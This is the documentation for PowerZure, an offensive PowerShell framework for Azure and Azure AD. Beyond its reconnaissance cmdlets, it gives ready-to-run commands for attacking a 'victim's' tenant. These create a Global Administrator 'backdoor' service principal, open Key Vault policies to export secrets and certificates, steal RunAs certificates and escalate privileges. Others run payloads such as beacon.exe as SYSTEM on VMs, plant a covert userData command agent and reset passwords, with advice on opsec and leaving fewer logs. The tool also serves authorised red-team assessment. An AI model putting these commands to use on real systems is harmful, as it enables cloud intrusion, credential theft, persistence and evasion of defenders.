PowerZure Documentation

Release latest

Aug 10, 2022

About

PowerZure is a PowerShell project created to assess and exploit resources within Microsoft's cloud platform, Azure. PowerZure was created out of the need for a framework that can both perform reconnaissance **and** exploitation of Azure.

An overview of Azure, Azure AD, and PowerZure is covered in my blog post here https://posts.specterops.io/attacking-azure-azure-ad-and-introducing-powerzure-ca70b330511a

To get started with PowerZure, make sure the requirements are met. If you do not have the Az Module, PowerZure will ask you if you'd like to install it automatically when importing PowerZure as a module. PowerZure does require an Administrative PowerShell window, >= version 5.0. There is no advantage to running PowerZure on a compromised/pwned machine. Since you're interacting with the cloud, it's opsec safe to use from a bastion operating host, or if you're feeling adventurous, your own host. Read the operational usage page here

Additionally, you must sign-in to Azure before PowerZure functions are made available. To sign in, use the cmdlet

```
Connect-AzAccount
```

Once you are signed in to Azure, you can import PowerZure:

```
ipmo C:\Path\To\Powerzure.psd1
```

Upon importing, it will list your current role and available subscriptions. From there, you can run

```
Get-AzureTarget
```

To get a list of resources you have access to.

CHAPTER 1

Requirements

The Azure PowerShell Az module is the successor to the AzureRM module and is the primary module used in PowerZure, as it is handles the requests interacting with Azure resources.. The Az module interacts using the Azure REST API.

PowerZure requires an Administrative PowerShell (at least 5.0) session and the Az PowerShell module.

The first function you should run is 'Set-AzureSubscription' as this will set the default subscription Azure functions will operate under. You may supply a subscription id via the '-id' option or running 'Set-AzureSubscription' without any options will bring an interactive menu to choose from.

1.1 Set-AzureSubscription

Synopsis

Sets default subscription. This command must be run for Azure functions to properly work.

Syntax

```
Set-AzureSubscription
```

Description

Sets the default subscription via an interactive menu or via subscription Id.

Examples

```
Set-AzureSubscription -Id b049c906-7000-4899-b644-f3eb835f04d0
```

Parameters

-Id

Subscription ID (optional)

Output

Success message

CHAPTER 2

Operational Usage

PowerZure is a PowerShell module. To begin using PowerZure, import the manifest file:

```
Import-Module C:\Location\to\Powerzure.psd1
```

There is zero reason to ever run PowerZure on a victim's machine. Authentication is done by using an existing accesstoken.json file or by logging in via prompt when logging into Azure, meaning you can safely use PowerZure to interact with a victim's cloud instance from your operating machine.

If the target environment is contraining Azure access to their network/VPN, then consider using a proxy.

You must sign-in to Azure before PowerZure functions are made available. To sign in, use the cmdlet

```
Connect-AzAccount
```

Once you are signed in to Azure, you can import PowerZure:

```
ipmo C:\Path\To\Powerzure.psd1
```

Upon importing, it will list your current role and available subscriptions. If you're in a tenant with multiple subscriptions, you must set a default subscription with

```
Set-AzureSubscription
```

Once set, you can run

```
Get-AzureTarget
```

To get a list of AzureAD and Azure objects you have access to and exploit them accordingly.

CHAPTER 3

Help

3.1 PowerZure

Synopsis

Displays info about this script.

Syntax

```
Invoke-PowerZure -h
```

Description

Lists the functions available in the script.

Examples

```
Invoke-PowerZure -h
```

Parameters

-h

Help

Output

List of functions in this script

CHAPTER 4

Information Gathering

4.1 Get-AzureADAppOwner

Synopsis

Returns all owners of all Applications in AAD

Syntax

```
Get-AzureADAppOwner
```

Description

Recursively looks through each application in AAD and lists the owners

Examples

```
Get-AzureADAppOwner
```

Parameters

None

Output

Application owners in AAD

4.2 Get-AzureADDeviceOwner

Synopsis

Lists the owners of devices in AAD. This will only show devices that have an owner.

Syntax

```
Get-AzureADDeviceOwner
```

Description

Lists the owners of devices in AAD. This will only show devices that have an owner.

Examples

```
Get-AzureADDeviceOwner
```

Parameters

None

Output

Device owners from AAD

4.3 Get-AzureADGroupMember

Synopsis

Gets all the members of a specific group

Syntax

```
Get-AzureADGroupMember -Group '[Name of Group]'
```

Description

Uses Graph API call to gather a group, the group's ID, the member's name, and the member's ID.

Examples

```
Get-AzureADGroupMember -Group 'Sql Admins'
```

Parameters

-Group

Name of group to collect

Output

Group members and their IDs

4.4 Get-AzureADRoleMember

Synopsis

Lists the members of a given role in AAD

Syntax

```
Get-AzureADRoleMember -All
```

```
Get-AzureADRole -Role '[RoleName]'
```

```
Get-AzureADRole -Role '[RoleId]'
```

Description

Uses a Graph API call to list the role, roleid, members name, and if there's any application service principal members. Application Service Principals will show up as '$null', as it's a bug within the Graph API output. This property can be expanded to reveal the actual name, e.g.

```
$a = Get-AzureAdRoleMember; $a.Applicationmembers
```

Due to mismatch in documentation, role names my not be 100% accurate to what the API's backend has, e.g. Company Administrator is what the API uses, but it's displayed as Global Administrator. Because of this, using a Role ID is more accurate.

Examples

```
Get-AzureADRoleMember -Role 'Global Administrator'
```

Parameters

-Role

The role name of the target role

Output

All members of all roles, their IDs, and any Application Service Principal members.

4.5 Get-AzureADUser

Synopsis

Gathers info on a specific user or all users including their groups and roles in Azure & AzureAD

Syntax

```
Get-AzureADUser -Username [Usename]
```

```
Get-AzureADUser -All
```

Description

Gathers a user's Azure role by calling Get-AzRoleAssignment, then uses Graph API calls to gather their Azure AD roles. Uses Graph API call to gather assigned groups.

Examples

```
Get-AzureADUser -Username john@contoso.com
```

```
Get-AzureADUser -All
```

Parameters

-All

Switch; Gathers all users in AzureAD.

-Username

Full user principal name of the target user in format: name@domain.com

Output

User ID, their AAD roles, their RBAC roles, and the scope of those roles

4.6 Get-AzureCurrentUser

Synopsis

Returns the current logged in user name and any owned objects

Syntax

```
Get-AzureCurrentUser
```

Description

Looks at the current logged in username and compares that to the role assignment list to determine what objects/resources the user has ownership over.

Examples

```
Get-AzureCurrentUser
```

Parameters

None

Output

Current username and roles of the logged in User

4.7 Get-AzureIntuneScript

Synopsis

Lists available Intune scripts in Azure Intune

Syntax

```
Get-AzureInTuneScript
```

Description

Uses a Graph API call to get any Intune scripts. This requires credentials in order to request a delegated token on behalf of the 'Office' Application in AAD, which has the correct permissions to access Intune data, where 'Azure PowerShell' Application does not.

Examples

```
Get-AzureInTuneScript
```

Parameters

None

Output

List of scripts available in Intune

4.8 Get-AzureLogicAppConnector

Synopsis

Lists the connector APIs in Azure

Syntax

```
Get-AzureLogicAppConnector
```

Description

Lists the connector APIs in AzureLists the connector APIs in Azure which may be connected to another resource, subscription, tenant, or service.

Examples

```
Get-AzureLogicAppConnector
```

Parameters

None

Output

List of connections established in a Logic App.

4.9 Get-AzureManagedIdentity

Synopsis

Gets a list of all Managed Identities and their roles. **Syntax**

Get-AzureManagedIdentity

Description

Gathers any resources that are using a system assigned managed identity in Azure.

Examples

```
Get-AzureManagedIdentity
```

Parameters

None

Output

List of system assigned managed identities.

4.10 Get-AzurePIMAssignment

Synopsis

Gathers the Privileged Identity Management assignments.

Syntax

Get-AzurePIMAssignment

Description

Gathers the Privileged Identity Management assignments in Azure resources.

Examples

```
Get-AzurePIMAssignment
```

Parameters

None

Output

List of PIM assignments for Azure resources.

4.11 Get-AzureRole

Synopsis

Gets the members of a role.

Syntax

```
Get-AzureRole -Role [Role name]
```

```
Get-AzureRole -All
```

Description

Gets the members of a role or all roles. -All will only return roles that have users assigned.

Examples

```
Get-AzureRole -Role Reader
```

```
Get-AzureRole -All
```

Parameters

-Role

Name of role

-All

Get all roles

Output

Members of specified role, their Ids, and the scope.

4.12 Get-AzureRunAsAccount

Synopsis

Finds any RunAs accounts being used by an Automation Account

Syntax

```
Get-AzureRunAsAccount
```

Description

Finds any RunAs accounts being used by an Automation Account by recursively going through each resource group and Automation Account. If one is discovered, you can extract it's certificate (if you have the correct permissions) by using Get-AzureRunAsCertificate

Examples

```
Get-AzureRunAsAccount
```

Parameters

None

Output

List of RunAsAccounts and their details

4.13 Get-AzureRolePermission

Synopsis

Finds all roles with a certain permission

Syntax

```
Get-AzureRolePermission -Permission [role definition]
```

Description

Finds all builtin roles with a certain permission

Output

Role(s) with the supplied definition present

4.14 Get-AzureSQLDB

Synopsis

Lists the available SQL Databases on a server

Syntax

```
Get-AzureSQLDB -All
```

```
Get-AzureSQLDB -Server [Name of server]
```

Description

Lists the available SQL DBs, the server they're on, and what the Administrator username is

Examples

```
Get-AzureSQLDB -All
```

```
Get-AzureSQLDB -Server 'SQLServer01'
```

Parameters

-Server

Name of the SQL Server

Output

4.15 Get-AzureTarget

Synopsis

Compares your role to your scope to determine what you have access to and what kind of access it is (Read/write/execute).

Syntax

```
Get-AzureTarget
```

Description

Looks at the current signed-in user's roles, then looks at the role definitions and scope of that role. Role definitions are then compared to the scope of the role to determine which resources under that scope the role definitions are actionable against.

Examples

```
Get-AzureTarget
```

Parameters

None

Output

List of resources with what type of access the current user has access to.

4.16 Get-AzureTenantId

Synopsis

Returns the ID of a tenant belonging to a domain

Syntax

```
Get-AzureTenantId
```

Description

By looking at the the openid-configuration of a domain, the tenant ID can be retrieved.

Examples

```
Get-AzureTenantId -Domain 'testdomain.onmicrosoft.com'
```

Parameters

-Domain

Name of the domain

Output

The target domain's tenant ID.

4.17 Show-AzureKeyVaultContent

Synopsis

Lists all available content in a key vault

Syntax

```
Show-AzureKeyVaultContent -All
```

```
Show-AzureKeyVaultContent -Name [VaultName]
```

Description

Recursively goes through a key vault and lists what is within the vault (secret, certificate, and key names). Use Get-AzureKeyVaultContent to grab the values of a secret or certificate and Export-AzureKeyVaultcontent to get a key value.

Examples

```
Show-AzureKeyVaultContent -Name Vaulttest
```

```
Show-AzureKeyVaultContent -All
```

Parameters

-VaultName

Name of vault

-All

Output

Vault contents

4.18 Show-AzureStorageContent

Synopsis

Lists all available storage containers, shares, and tables

Syntax

```
Show-AzureStorageContent -All
```

```
Show-AzureStorageContent -StorageAccountName [Name of Storage Account]
```

Description

Recursively goes through a storage account (or multiple) and lists the available containers + blobs, File Shares, and tables.

Examples

```
Show-AzureStorageContent -StorageAccountName TestAcct
```

```
Show-AzureStorageContent -All
```

Parameters

-All

-StorageAccountName

Output

List of contents

CHAPTER 5

Operational

5.1 Add-AzureADGroupMember

Synopsis

Adds a user to an Azure AD Group

Syntax

```
Add-AzureADGroupMember  -User [UPN] -Group [Group name]
```

Description

Adds a user to an AAD group. If the group name has spaces, put the group name in single quotes.

Examples

```
Add-AzureADGroupMember  -User john@contoso.com -Group 'SQL Users'
```

Parameters

-User

UPN of the user

-Group

AAD Group name

Output

User added to group

5.2 Add-AzureADRole

Synopsis

Assigns a specific Azure AD role to a User

Syntax

```
Add-AzureADRole -Username [User Principal Name] -Role '[Role name]'\
```

```
Add-AzureADRole -UserId [UserId] -RoleId '[Role Id]'
```

Description

Assigns a specific Azure AD role to a User using either the role name or ID and username or user ID.

Examples

```
Add-AzureADRole -Username test@test.com -Role 'Company Administrator'
```

```
Add-AzureADRole -UserId 6eca6b85-7a3d-4fcf-b8da-c15a4380d286 -Role '4dda258a-4568-
↪4579-abeb-07709e34e307'
```

Parameters

-Username

Name of user in format user@domain.com

-UserId

Id of the user

-Role

Role name (must be properly capitalized)

-RoleId

ID of the role

Output

Role successfully applied

5.3 Add-AzureADSPSecret

Synopsis

Adds a secret to a service principal

Syntax

```
Add-AzureADSPSecret -ApplicationName [ApplicationName name] -Password [new secret]
```

Description

Adds a secret to a service principal so you can login as that service principal.

Examples

```
Add-AzureADSPSecret -ApplicationName "MyTestApp" -Password password123
```

Parameters

-ApplicationName

Name of the Service Principal or application that is using the Service principal

-Password

New password "secret" for the Service Principal.

Output

Connection string to login as new user if successful

5.4 Connect-AzureJWT

Synopsis

Logins to Azure using a JWT access token.

Syntax

```
Connect-AzureJWT -Token [access token] -AccountId [Account's ID]
```

Description

Logins to Azure using a JWT access token. Use -Raw to supply an unstructured token from a Managed Identity token request.

Examples

```
$token = 'eyJ0eXAiOiJKV1QiLC....(snip)'
Connect-AzureJWT -Token $token -AccountId 93f7295a-1243-1234-1234-1a1fa41560e8
```

:: Connect-AzureJWT -Token $token -AccountId 93f7295a-678e-44d2-b705-1a1fa41560e8 -Raw

Parameters

-Token Access token starting with 'eyJ0'. Easier if stored in variable.

-AccountID Account's ID in AzureAD. This will not be the Application ID in the case for Service Principals but the actual account ID.

-Raw This will convert a REST API response to a token when gathering a token from a Managed Identity.

Output

Login message

5.5 Export-AzureKeyVaultContent

Synopsis

Exports a Key as PEM or Certificate as PFX from the Key Vault

Syntax

```
Export-AzureKeyVaultContent -VaultName [Vault Name] -Type [Key or Certificate] -Name␣
↪[Name of Key or Cert] -OutFilePath  [Full path of where to export]
```

Description

Searches for all available key vaults and modifies the access policy to allow downloading of the contents in the vault. Exports a Key as PEM or Certificate as PFX from the Key Vault

Examples

```
Export-AzureKeyVaultContent -VaultName VaultTest -Type Key -Name Testkey1234 -
↪OutFilePath C:\Temp
```

Parameters

-VaultName

Key Vault Name

-All

All Key Vaults

-Type

Key or Certificate

-Name

Name of Key or Certificate that is being extracted

-OutFilePath

Where to extract the key or certificate

Output

Successful export

5.6 Get-AzureKeyVaultContent

Synopsis

Get the secrets and certificates from a specific Key Vault or all of them

Syntax

```
Get-AzureKeyVaultContent -VaultName [Name of vault]
```

Description

Searches for all available key vaults and modifies the access policy to allow downloading of the contents in the vault. Then gets the secrets and certificates from the vault. This will display the contents of any certificates. To export a key or certificate, use Export-AzureKeyVaultContent

Examples

```
Get-AzureKeyVaultContent -VaultName VaultName
```

Parameters

-VaultName

Key Vault Name

-All

All Key Vaults

Output

Contents of the key vault contents

5.7 Get-AzureRunAsCertificate

Synopsis

Will gather a RunAs accounts certificate if one is being used by an automation account, which can then be used to login as that account. By default, RunAs accounts are contributors over the subscription. This function does take a minute to run.

Syntax

```
Get-AzureRunAsCertificate  -AutomationAccount [AA Name]
```

Description

Creates a Runbook for the RunAs account to run, which will gather the RunAs Account's certificate and write it to the job output as base64. The function then grabs the job output, decodes the base64 certificate into a .pfx certificate, and automatically imports it. The function then spits out a one-liner that can be copy+pasted to login as the RunAs account.

Examples

```
Get-AzureRunAsCertificate -AutomationAccount TestAccount
```

Parameters

-AutomationAccount

The name of the Automation Account.

Output

Connection string for the RunAs account

5.8 Get-AzureRunbookContent

Synopsis

Gets a specific Runbook and displays its contents or all runbook contents

Syntax

```
Get-AzureRunbookContent -Runbook [Name of Runbook] -OutFilePath [Path of where to␣
↪export runbooks]
```

Description

Gets a specific Runbook and displays its contents or all runbook contents

Examples

```
Get-AzureRunbookContent -Runbook Runbooktest -OutFilePath 'C:\temp'
```

```
Get-AzureRunbookContent -All -OutFilePath 'C:\temp
```

Parameters

-Runbook

Name of Runbook

-All

-OutFilePath

Where to save Runbook

Output

Successful export of the runbooks

5.9 Get-AzureStorageContent

Synopsis

Gathers a file from a specific blob or File Share

Syntax

```
Get-AzureStorageContent -StorageAccountName TestAcct -Type Container
```

Description

Gathers a file from a specific blob or File Share

Examples

```
Get-AzureStorageContent
```

```
Get-AzureStorageContent -StorageAccountName TestAcct -Type Container
```

Parameters

-Share

Name of the share the file is located in

-Path

Path of the file in the target share

-Blob

Name of the blob the file is located in

-StorageAccountName

Name of a specific account

-ResourceGroup

The RG the Storage account is located in

-ContainerName

Name of the Container the file is located in

Output

Display of contents

5.10 Get-AzureVMDisk

Synopsis

Generates a link to download a Virtual Machiche's disk. The link is only available for 24 hours.

Syntax

```
Get-AzureVMDisk -DiskName [Name of Disk]
```

Description

The VM must be turned off/disk not in use. While the link is active, the VM cannot be turned on.

Examples

```
Get-AzureVMDisk -DiskName AzureWin10_OsDisk_1_c2c7da5a0838404c84a70d6ec097ebf5
```

Parameters

-DiskName

Name of the disk

Output

Link to download the disk

5.11 Invoke-AzureCommandRunbook

Synopsis

Will execute a supplied command or script from a Runbook if the Runbook is configured with a "RunAs" account

Syntax

```
Invoke-AzureCommandRunbook -AutomationAccount [Automation Account name] -VMName [VM␣
↪Name] -Command [command]
```

```
Invoke-AzureCommandRunbook -AutomationAccount [Automation Account name] -VMName [VM␣
↪Name] -Script [Path to script]
```

Description

If an Automation Account is utilizing a 'Runas' account, this allows you to run commands against a virtual machine if that RunAs account has the correct over the VM.

Examples

```
Invoke-AzureCommandRunbook -AutomationAccount TestAccount -VMName Win10Test -Command␣
↪whoami
```

```
Invoke-AzureCommandRunbook -AutomationAccount TestAccount -VMName Win10Test -Script
↪"C:temptest.ps1"
```

Parameters

-AutomationAccount

Automation Account name

-VMName

VM name

-Command

Command to be run against the VM. Choose this or -Script if executing an entire script

-Script

Run an entire script instead of just one command.

Output

Output of command if successfully ran.

5.12 Invoke-AzureCustomScriptExtension

Synopsis

Runs a PowerShell script by uploading it as a Custom Script Extension

Syntax

```
Invoke-AzureCustomScriptExtension -ResourceGroup [RG name ] -VMName [VM Name] -
↪Command [Command]
```

Description

Runs a PowerShell script by uploading it as a Custom Script Extension via REST API which leaves behind less logs.

Examples

```
Invoke-AzureCustomScriptExtension -VMName AzureWin10 -Command whoami
```

```
Invoke-AzureCustomScriptExtension -VM 'Windows10' -ResourceGroup
↪'Defaultresourcegroup-cus' -Command 'powershell.exe -c mkdir C:\test'
```

Parameters

-VMName

Name of the virtual machine to execute the command on

-Command

The command to be executed

-ResourceGroup

Name of the resource group the VM belongs to

Output

Output of command being run or a failure message if failed

5.13 Invoke-AzureRunCommand

Synopsis

Will run a command or script on a specified VM

Syntax

```
Invoke-AzureRunCommand -VMName [VM Name] -Command [Command]
```

```
Invoke-AzureRunCommand -VMName [VM Name] -Script [Full Path To Script]
```

Description

Executes a command on a virtual machine in Azure using Invoke-AzVMRunCommand

Examples

```
Invoke-AzureRunCommand -VMName AzureWin10 -Command whoami
```

```
Invoke-AzureRunCommand -VMName AzureWin10 -Script 'C:\temp\test.ps1'
```

Parameters

-VMName

Name of the virtual machine to execute the command on

-Command

The command to be executed

-Script

The path to the script to execute

Output

Output of command being run or a failure message if failed

5.14 Invoke-AzureRunMSBuild

Synopsis

Will run a supplied MSBuild payload on a specified VM. By default, Azure VMs have .NET 4.0 installed. Requires Contributor Role. Will run as SYSTEM.

Syntax

```
Invoke-AzureRunMSBuild -VMName [Virtual Machine name] -File [C:/path/to/payload/
↪onyourmachine.xml]
```

Description

Uploads an MSBuild payload as a .ps1 script to the target VM then calls msbuild.exe with

```
Invoke-AzVMRunCommand
```

Examples

```
Invoke-AzureRunMSBuildd -VMName AzureWin10 -File 'C:\temp\build.xml'
```

Parameters

-VMName

Name of the virtual machine to execute the command on

-File

Path location of build.xml file

Output

Success message of msbuild starting the build if successful, error message if upload failed.

5.15 Invoke-AzureRunProgram

Synopsis

Will run a given binary on a specified VM

Syntax

```
Invoke-AzureRunProgram  -VMName [Virtual Machine name] -File [C:/path/to/payload.exe]
```

Description

Takes a supplied binary, base64 encodes the byte stream to a file, uploads that file to the VM, then runs a command via Invoke-AzVMRunCommand to decode the base64 byte stream to a .exe file, then executes the binary.

Examples

```
Invoke-AzureRunProgram -VMName AzureWin10 -File C:\tempbeacon.exe
```

Parameters

-VMName

Name of the virtual machine to execute the command on

-File

Location of executable binary

Output

"Provisioning Succeeded" Output. Because it's a binary being executed, there will be no native Output unless the binary is meant to return data to stdout.

5.16 Invoke-AzureVMUserDataAgent

Synopsis

Deploys the agent used by Invoke-AzureVMUserDataCommand

Syntax

```
Invoke-AzureVMUserDataAgent -VM [Virtual Machine name]
```

Description

Deploys the agent used by Invoke-AzureVMUserDataCommand which is a scheduled task that polls the 'userData' field via IMDS REST API request for a new command every minute. This is uploaded via 'Invoke-AzVMRunCommand' https://hausec.com/2021/12/03/abusing-and-detecting-alternative-data-channels-and-managed-identities-on-azure-virtual-machines/

Examples

```
Invoke-AzureVMUserDataAgent -VM AzureWin10
```

Parameters

-VM

Name of the virtual machine to execute the command on

Output

"Agent successfully deployed!" output if successful.

5.17 Invoke-AzureVMUserDataCommand

Synopsis

Executes a command using the userData channel on a specified Azure VM.

Syntax

```
Invoke-AzureVMUserDataCommand -VM [Virtual Machine name] -Command [command]
```

Description

Executes a command using the userData channel on a specified Azure VM by uploading the command into the 'userdata' field on a Virtual Machine, which is then polled by the agent and then executed.

Examples

```
Invoke-AzureVMUserDataCommand -VM AzureWin10 -Command ls
```

Parameters

-VM

Name of the virtual machine to execute the command on

-Command Command to run (runs as PowerShell).

Output

Output of the command is retrieved via the IMDS API 'userdata' field on the VM.

5.18 New-AzureADUser

Synopsis

Creates a user in Azure Active Directory

Syntax

```
New-AzureADUser -Username [User Principal Name] -Password [Password]
```

Description

Creates a user in Azure Active Directory

Examples

```
New-AzureADUser -Username 'test@test.com' -Password Password1234
```

Parameters

-Username

Name of user including domain

-Password

New password for the user

Output

User is created

5.19 New-AzureBackdoor

Synopsis

Creates a backdoor in Azure via Service Principal

Syntax

```
New-AzureBackdoor -Username [Username] -Password [Password]
```

Description

Will create a new Service Principal in Azure and assign it to the Global Administrator/Company Administrator role in AzureAD. This can then be logged into and escalated to User Administrator in Azure RBAC with Set-AzureElevatedPrivileges

Examples

```
New-AzureBackdoor -Username 'testserviceprincipal' -Password 'Password!'
```

Parameters

-Username

Desired name of the Service Principal

-Password

Desired password for the account

Output

Success message if successful, error if failure

5.20 New-AzureIntuneScript

Synopsis

Creates a new script in Intune by uploading a supplied script

Syntax

```
New-AzureIntuneScript -Script [path/to/script.ps1]
```

Description

Creates a new script in Intune by uploading a supplied script. By default scripts in Intune will automatically run if the script is new to the device or if a new user logs in.

Examples

```
New-AzureIntuneScript -Script 'C:\temp\test.ps1'
```

Parameters

-Script

Location of the script to upload

Output

No output is given

5.21 Set-AzureElevatedPrivileges

Synopsis

Elevates the user's privileges from Global Administrator in AzureAD to include User Access Administrator in Azure RBAC.

Syntax

```
Set-AzureElevatedPrivileges
```

Description

This works by making a Graph API call. You must be logged in as a user with Global Administator role assigned. You cannot elevate if you are a service principal due to API limitiations.

Examples

```
Set-AzureElevatedPrivileges
```

Parameters

None

Output

No Error message if successful

5.22 Set-AzureSubscription

Synopsis

Sets default subscription. This command must be run for Azure functions to work properly.

Syntax

```
Set-AzureSubscription
```

```
Set-AzureSubscription -Id [Subscription ID]
```

Description

Sets the default subscription via interactive menu or by supplying the subscription ID.

Examples

```
Set-AzureSubscription
```

```
Set-AzureSubscription -Id b049c906-7000-4899-b644-f3eb835f04d0
```

Parameters

-Id

Subscription ID

Output

Success message

5.23 Set-AzureADUserPassword

Synopsis

Sets a user's password

Syntax

```
Set-AzureADUserPassword -Username [UPN] -Password [new password]
```

Description

Sets a user's password.

Examples

```
Set-AzureADUserPassword -Username john@contoso.com -Password newpassw0rd1
```

Parameters

-Password

New password for user

-Username

Name of user

Output

Password successfully set

5.24 Start-AzureRunbook

Synopsis

Starts a Runbook

Syntax

```
Start-AzureRunbook -Account [Automation Account name] -Runbook [Runbook name]
```

Description

Starts a specified Runbook

Examples

```
Start-AzureRunbook -Account AutoAccountTest -Runbook TestRunbook
```

Parameters

-Account

Name of Automation Account the Runbook is in

-Runbook

Name of runbook

Output

Runbook Output